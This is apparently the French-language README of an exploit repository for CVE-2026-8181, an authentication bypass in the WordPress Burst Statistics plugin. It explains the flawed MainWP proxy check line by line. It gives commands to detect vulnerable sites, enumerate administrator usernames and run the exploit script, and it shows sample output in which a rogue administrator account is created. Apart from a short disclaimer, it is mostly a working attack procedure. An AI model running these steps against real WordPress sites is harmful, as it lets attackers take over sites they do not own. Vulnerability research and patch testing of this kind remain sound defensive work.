whattheslime/cve-2026-8181Exploit pour le CVE-2026-8181 - Contournement d'authentification du plugin WordPress Burst Statistics
Exploit pour la CVE-2026-8181 découverte par Chloe Chamberland et PRISM.
Ce dépôt est fourni uniquement à des fins de recherche et de sécurité défensive. L'auteur décline toute responsabilité en cas d'utilisation abusive de ces informations.
Le plugin WordPress Burst Statistics – Privacy-Friendly WordPress Analytics est vulnérable à un contournement d'authentification conduisant à une élévation de privilèges administrateur dans les versions 3.4.0 à 3.4.1.1.
La vulnérabilité se situe dans la méthode is_mainwp_authenticated() du proxy MainWP du plugin, qui considère à tort toute valeur de retour non-WP_Error de comme une authentification réussie.
wp_authenticate_application_password()Cela permet à des attaquants non authentifiés connaissant un nom d'utilisateur administrateur valide d'usurper l'identité de cet administrateur pendant la durée de toute requête REST API, y compris les endpoints du cœur de WordPress tels que POST /wp-json/wp/v2/users. Les identifiants de l'administrateur existant ne sont jamais compromis, mais l'attaquant obtient ses privilèges pendant assez longtemps pour créer un tout nouveau compte administrateur.
La chaîne de vulnérabilité est la suivante :
includes/class-burst.php:41 -> Le plugin enregistre init() sur plugins_loaded à la priorité 9, qui exécute bootstrap() et appelle has_admin_access() pour chaque requête (REST incluse).
includes/Traits/trait-admin-helper.php:202 -> Lorsque la requête porte l'en-tête X-BurstMainWP: 1, has_admin_access() instancie MainWP_Proxy et délègue l'authentification à is_mainwp_authenticated().
includes/Frontend/class-mainwp-proxy.php:314 -> La méthode lit l'en-tête Authorization, décode les identifiants Basic et transmet le username / password fournis par l'attaquant à wp_authenticate_application_password() du cœur de WordPress.
includes/Frontend/class-mainwp-proxy.php:328-329 -> La valeur de retour n'est vérifiée qu'avec is_wp_error(). Le cœur de WordPress renvoie $input_user inchangé (ici null) lorsque les mots de passe d'application (Application Passwords) ne sont pas utilisés ou lorsque la requête n'est pas marquée comme requête API. À la priorité 9 de plugins_loaded, l'API REST n'a pas encore défini le filtre application_password_is_api_request sur true, donc la seconde condition est toujours remplie lorsque le code vulnérable s'exécute — et null n'est pas un WP_Error, donc le contrôle est franchi.
includes/Frontend/class-mainwp-proxy.php:336 -> wp_set_current_user( $user->ID ) est appelé avec l'utilisateur recherché uniquement à partir du nom d'utilisateur fourni par l'attaquant, définissant l'utilisateur authentifié globalement pour toute la requête.
Une seule requête HTTP avec un mot de passe factice suffit donc pour usurper l'identité de n'importe quel administrateur au niveau de l'API REST du cœur de WordPress.
Plugin actif — le HTML de la page d'accueil ne référence ses ressources que lorsque le plugin est mis en file d'attente (enqueued) :
echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
Version — readme.txt est servi statiquement et expose la version installée (vulnérable : 3.4.0–3.4.1.1, corrigée : 3.4.2+) :
echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
Le template CVE-2026-8181.yaml nuclei inclus automatise les deux vérifications et la comparaison des versions :
nuclei -t CVE-2026-8181.yaml -u http://127.0.0.1:8000
Une fois qu'une version vulnérable du plugin a été détectée, l'exploitation nécessite de connaître un nom d'utilisateur administrateur valide. L'API REST de WordPress les divulgue sur la plupart des installations via l'endpoint public des utilisateurs :
echo http://127.0.0.1:8000 | httpx -silent -path '/wp-json/wp/v2/users' -er '"slug":"[^"]+"'
Lorsque cet endpoint est verrouillé (par exemple par Disable REST API ou Stop User Enumeration), l'astuce de l'archive d'auteur (/?author=N) divulgue généralement encore le nom d'utilisateur via la redirection vers /author/<username>/.
Avec un nom d'utilisateur valide en main, l'exploit crée un nouveau compte administrateur en une seule requête :
Installer les dépendances Python :
python3 -m venv venv
venv/bin/pip install -r requirements.txt
Exécuter l'exploit contre la cible, en fournissant un nom d'utilisateur administrateur connu avec -u :
venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
Exemple de sortie :
[2026-05-16] [12:20:20] [info] [config] Impersonating admin='admin', will create new admin 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' ([email protected]).
[2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] Authentication bypass successful — new administrator created: username='pwn_322a4903' password='kS8D^2A^P^%UtWyuUS3p8%64'
Se connecter à /wp-admin/ avec le compte administrateur nouvellement créé.
Le contournement ne se déclenche que si l'en-tête Authorization atteint PHP via $_SERVER['HTTP_AUTHORIZATION']. Sur Apache + mod_php avec des permaliens simples (la configuration par défaut de WordPress), aucun .htaccess n'est généré et l'en-tête est silencieusement supprimé — l'exploit ne peut pas aboutir.
Passer à n'importe quel permalien non simple dans Settings → Permalinks amène WordPress 5.6+ à écrire la directive RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] dans .htaccess, rétablissant le transfert. Nginx + PHP-FPM et LiteSpeed transfèrent Authorization par défaut, quel que soit le type de permaliens. Les permaliens personnalisés (pretty permalinks) étant la norme SEO en production, cette vulnérabilité est évaluée à CVSS 9.8 sans authentification.
L'exploit essaie d'abord /wp-json/wp/v2/users, puis retombe sur /index.php?rest_route=/wp/v2/users ; le routage des endpoints n'est donc jamais le facteur bloquant — seul le transfert de l'en-tête l'est.